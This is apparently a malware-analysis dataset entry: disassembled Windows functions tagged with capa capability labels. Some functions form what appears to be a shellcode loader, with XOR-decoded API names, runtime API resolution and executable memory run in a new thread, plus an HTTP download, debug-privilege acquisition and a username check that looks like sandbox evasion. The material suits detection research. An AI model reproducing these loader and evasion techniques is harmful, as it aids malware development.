joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b67f0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4b6904
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, dword [0x4c8a24]
mov eax, dword [eax]
call fcn.0047b428
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404b2c
mov ebx, eax
push ebx
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4b6841
call fcn.0040e214
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x10]
mov ecx, 1
mov edx, dword [0x4b52c0]
call fcn.00405b18
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.version.dll_GetFileVersionInfoA
test eax, eax
jne 0x4b6876
call fcn.0040e214
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x4b6914
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
jne 0x4b6895
call fcn.0040e214
push esi
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0xa]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0xe]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
lea edx, [ebp - 0x34]
mov ecx, 3
mov eax, 0x4b6920
call fcn.0040a03c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b690b
lea eax, [ebp - 0x10]
mov edx, dword [0x4b52c0]
call fcn.00405b24
lea eax, [ebp - 4]
call fcn.0040466c
ret

Function at 0x4b6b34
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4b6bdd
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x105
mov eax, ebx
call fcn.0040277c
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4b6bc0
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
test eax, eax
je 0x4b6baa
lea eax, [ebp - 0x108]
mov edx, dword [ebp - 4]
call fcn.00403354
lea edx, [ebp - 0x108]
lea eax, [ebp - 8]
call fcn.004048d0
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x4b6bf4
call fcn.00404978
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b6bc7
mov eax, dword [ebp - 4]
call fcn.0040279c
ret
Function at 0x4ba7f0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x10], ebx
mov edi, ecx
mov ebx, edx
mov esi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x4ba9cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call sub.kernel32.dll_CreatePipe
xor eax, eax
push ebp
push 0x4ba9a3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x44
call fcn.004030cc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 0x101
mov word [ebp - 0x30], 0
push 0xfffffffffffffff6
call sub.kernel32.dll_GetStdHandle_1
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, edi
call fcn.00404b2c
push eax
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
mov eax, ebx
call fcn.00404b2c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
test bl, bl
je 0x4ba981
xor eax, eax
push ebp
push 0x4ba97a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
call fcn.0040466c
push 0
lea eax, [ebp - 0xc]
push eax
push 0xff
lea eax, [ebp - 0x170]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [ebp - 0xc], 0
jbe 0x4ba937
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x170], 0
lea eax, [ebp - 0x174]
lea edx, [ebp - 0x170]
mov ecx, pe_nt_image_headers32
call fcn.004048dc
mov edx, dword [ebp - 0x174]
lea eax, [ebp - 0x10]
call fcn.00404934
test bl, bl
je 0x4ba941
cmp dword [ebp - 0xc], 0
jne 0x4ba8e1
push 0xffffffffffffffff
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
mov dword [esi], eax
push esi
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_GetExitCodeProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ba981
mov eax, dword [ebp - 0x6c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ba9aa
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.004046c0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
Function at 0x100010f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0xc], 0
xorps xmm0, xmm0
push ebx
mov ebx, ecx
movlpd qword [ebp - 8], xmm0
jb 0x10001143
ja 0x10001111
cmp dword [ebp + 8], 0
jbe 0x10001143
push esi
mov esi, dword [ebp - 8]
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov ecx, esi
mov edx, dword [ebp + 0x14]
and ecx, 7
shl ecx, 3
call fcn.100147d0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
cmp edi, dword [ebp + 0xc]
jb 0x10001119
ja 0x10001141
cmp esi, dword [ebp + 8]
jb 0x10001119
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000121d
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push 0x414
mov eax, 0x10014a9f
call fcn.10014497
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x414], ebx
push 0x3ff
xor edi, edi
lea eax, [ebp - 0x40f]
inc edi
push ebx
mov dword [ebp - 4], edi
push eax
mov byte [ebp - 0x410], bl
call fcn.10004190
add esp, 0xc
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
push ebx
push ebx
push ebx
push ebx
push 0x1001ab90
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100012f1
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
push ebx
cmova eax, dword [ebp + 0xc]
push 0x4000000
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x100012ee
mov ebx, eax
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x400
lea eax, [ebp - 0x410]
mov ecx, esi
push eax
push dword [esi + 4]
call fcn.10001327
cmp dword [ebp - 0x41c], 0x400
je 0x100012a9
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
push edi
call ebx
lea ecx, [ebp + 0xc]
call fcn.10001146
mov eax, esi
call fcn.10014455
ret 0x1c
Function at 0x100014a4
Capabilities:
Link many functions at runtime

Disassembly:
push 0x14
mov eax, 0x10014ad6
call fcn.10014464
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.10001666
mov esi, eax
cmp byte [esi + 0xd], bl
je 0x100014db
push 0xd76bd737
push 0xd54d5575
push ebx
push 0xd
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xd], bl
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call edi
mov ebx, eax
call fcn.10001711
mov esi, eax
cmp byte [esi + 0xa], 0
je 0x1000150f
push 0xe9b5b3b1
push 0xc77d4573
push 0
push 0xa
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
call edi
mov dword [ebp - 0x10], eax
call fcn.100017b7
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x1000153e
push 0x47abcda5
push 0x93a3c787
push 0
push 0xd
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xd], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push ebx
call edi
mov dword [ebp - 0x14], eax
call fcn.10001862
mov esi, eax
cmp byte [esi + 0xe], 0
je 0x10001574
push 0x91219b1f
push 0xf7f5f1d5
push 0
push 0xe
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xe], 0
push esi
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], eax
call fcn.1000190f
mov esi, eax
cmp byte [esi + 0xf], 0
je 0x100015a6
push 0x65617345
push 0x2549d30d
push 0
push 0xf
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xf], 0
push esi
push ebx
call edi
mov dword [ebp - 0x1c], eax
call fcn.100019c0
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x100015d6
push 0xefc7bf81
push 0xa1d573c5
push 0
push 0xd
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
push ebx
call edi
mov dword [ebp - 0x20], eax
call fcn.10001a6b
mov esi, eax
cmp byte [esi + 0x14], 0
je 0x10001606
push 0x89f52b39
push 0x45a9b135
push 0
push 0x14
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0x14], 0
push esi
push ebx
call edi
mov ecx, dword [ebp + 0xc]
xor ebx, ebx
sub ecx, dword [ebp + 8]
mov edi, eax
push 4
push 0x3000
push ecx
push ebx
mov dword [ebp - 0x18], ebx
call dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
mov esi, eax
sub ecx, dword [ebp + 8]
push ecx
push dword [ebp + 8]
push esi
call dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x18]
sub ecx, dword [ebp + 8]
push eax
push 0x20
push ecx
push esi
call dword [ebp - 0x1c]
test eax, eax
je 0x10001656
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
call dword [ebp - 0x20]
push 0xffffffffffffffff
push eax
call edi
lea ecx, [ebp + 8]
call fcn.10001308
call fcn.10014441
ret 0xc
Function at 0x10001cbb
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x10026040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001d6c
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x10001d23
lea eax, [ebp - 0x20c]
push 0x1001ab94
push eax
call fcn.100061fa
pop ecx
pop ecx
test eax, eax
je 0x10001d60
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10001cfe
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [ebp - 0x20c]
push str.explorer.exe
push eax
call fcn.100061fa
pop ecx
pop ecx
test eax, eax
je 0x10001d67
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x10001d35
jmp 0x10001d6c
call fcn.10001e7f
jmp 0x10001d6c
call fcn.100020dd
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.10002870
leave
ret

Function at 0x10001d7b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10026040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10001da7
xor al, al
jmp 0x10001dfa
lea eax, [ebp - 0x20]
xor esi, esi
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x10001dc8
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001da3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push esi
push esi
push 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10001dbd
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10002870
leave
ret
Function at 0x10002663
Capabilities:
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10026040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x101
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.100026e8
mov esi, eax
cmp byte [esi + 8], 0
je 0x100026be
push 0x89f52b39
push 0x45a9b135
push 0
push 8
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 8], 0
lea eax, [ebp - 0x108]
cmp eax, esi
pop esi
jne 0x100026dc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002870
leave
ret

Function at 0x1000838d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100083cc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100083cc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100083cc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100083cc
cmp dword [ecx + 0x74], 0xe
jbe 0x100083cc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10009abb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b80
push 0x10016b78
push str.FlsAlloc
push 0x1f
call fcn.100099d7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009aef
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015194]
call esi
jmp 0x10009af5
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10009b39
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b90
push 0x10016b88
push str.FlsGetValue
push 0x21
call fcn.100099d7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009b70
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015194]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10009b78
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016b98
push 0x10016b90
push str.FlsSetValue
push 0x22
call fcn.100099d7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009bb2
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10015194]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cc2b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000ccc8
push ebx
push esi
call fcn.1000cbf4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000cb88
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000cc75
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000ccc7
push edi
push eax
call fcn.1000a3fa
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000cc95
call fcn.10009884
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000ccc6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000cb88
add esp, 0x20
test eax, eax
jne 0x1000ccb4
push edi
call fcn.10009884
jmp 0x1000ccbc
push ebx
call fcn.10009884
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10014410
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001443d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001443d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1e7a7500
Capabilities:
Compare security identifiers

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 4], 0x1e7ba2c0
je 0x1e7a751c
mov eax, dword [sym.imp.python27.dll__Py_NotImplementedStruct]
inc dword [eax]
mov eax, dword [sym.imp.python27.dll__Py_NotImplementedStruct]
ret 8
mov eax, dword [eax + 8]
mov ecx, dword [ecx + 8]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov ecx, dword [esp + 8]
cmp ecx, 2
jne 0x1e7a7541
test eax, eax
je 0x1e7a754a
mov eax, dword [sym.imp.python27.dll__Py_TrueStruct]
inc dword [eax]
ret 8
cmp ecx, 3
jne 0x1e7a7554
test eax, eax
je 0x1e7a7537
mov eax, dword [sym.imp.python27.dll__Py_ZeroStruct]
inc dword [eax]
ret 8
mov eax, dword [sym.imp.python27.dll__Py_NotImplementedStruct]
inc dword [eax]
ret 8

Function at 0x1e7a7da0
Capabilities:
Enumerate pe sections

Disassembly:
js 0x1e7a7dde
add edi, eax
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.1e7a7ba3
xchg edi, eax
movsb byte es:[edi], byte [esi]
jae 0x1e7a7dd2
movzx eax, word [edi + 6]
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.1e7a7ba3
into
inc esi
sub dword [esi + 0x66], edx
mov eax, dword [edi + 6]
cmp ax, bx
std
invalid
cmp eax, ebx
jbe 0x1e7a7dfd
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
inc ebp
clc
jae 0x1e7a7df7
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x1e7a7de8
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
invalid
inc ebp
Function at 0x1e7a9000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x1e7a8ff9
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov esi, 0xc133dc4d
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x1e7a8fa3
call fcn.1e7a7ba3
inc ebx
xchg esi, eax
jne 0x1e7a8fc8
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.1e7a7ba3
push 0x8d71b274
test esp, edx
clc
invalid
Function at 0x1e7a9d90
Capabilities:
Set thread local storage value

Disassembly:
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne sym.pywintypes27.dll_void___cdecl_PyWinInterpreterLock_Acquire_void_
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne sym.pywintypes27.dll_void___cdecl_PyWinInterpreterLock_Acquire_void_
call fcn.1e7a7ba3
pushal
add ah, byte [edi]
daa
mov ebx, 0x3245a8b
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.1e7a7ba3
sar dword [edx + 0x75ffd343], 1
jne 0x1e7a9dda
push dword [ebp + 4]
push dword [ebp]
call fcn.1e7a83a3
mov esi, eax
test esi, esi
je 0x1e7a9e0b
invalid
cmp dword [esi + 4], 0
je 0x1e7a9e0b
mov ecx, dword [esi]
push ecx
call dword [sym.imp.python27.dll_PyThreadState_Delete]
mov edx, dword [0x1e7ba8b8]
add esp, 4
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
ret

Function at 0x1e7a9db0
Capabilities:
Set thread local storage value

Disassembly:
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne sym.pywintypes27.dll_void___cdecl_PyWinInterpreterLock_Acquire_void_
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne sym.pywintypes27.dll_void___cdecl_PyWinInterpreterLock_Acquire_void_
call fcn.1e7a7ba3
pushal
add ah, byte [edi]
daa
mov ebx, 0x3245a8b
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.1e7a7ba3
sar dword [edx + 0x75ffd343], 1
jne 0x1e7a9dda
push dword [ebp + 4]
push dword [ebp]
call fcn.1e7a83a3
mov esi, eax
test esi, esi
je 0x1e7a9e0b
invalid
cmp dword [esi + 4], 0
je 0x1e7a9e0b
mov ecx, dword [esi]
push ecx
call dword [sym.imp.python27.dll_PyThreadState_Delete]
mov edx, dword [0x1e7ba8b8]
add esp, 4
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
ret

Function at 0x1e7a9dd0
Capabilities:
Set thread local storage value

Disassembly:
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne sym.pywintypes27.dll_void___cdecl_PyWinInterpreterLock_Acquire_void_
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne sym.pywintypes27.dll_void___cdecl_PyWinInterpreterLock_Acquire_void_
call fcn.1e7a7ba3
pushal
add ah, byte [edi]
daa
mov ebx, 0x3245a8b
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.1e7a7ba3
sar dword [edx + 0x75ffd343], 1
jne 0x1e7a9dda
push dword [ebp + 4]
push dword [ebp]
call fcn.1e7a83a3
mov esi, eax
test esi, esi
je 0x1e7a9e0b
invalid
cmp dword [esi + 4], 0
je 0x1e7a9e0b
mov ecx, dword [esi]
push ecx
call dword [sym.imp.python27.dll_PyThreadState_Delete]
mov edx, dword [0x1e7ba8b8]
add esp, 4
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
ret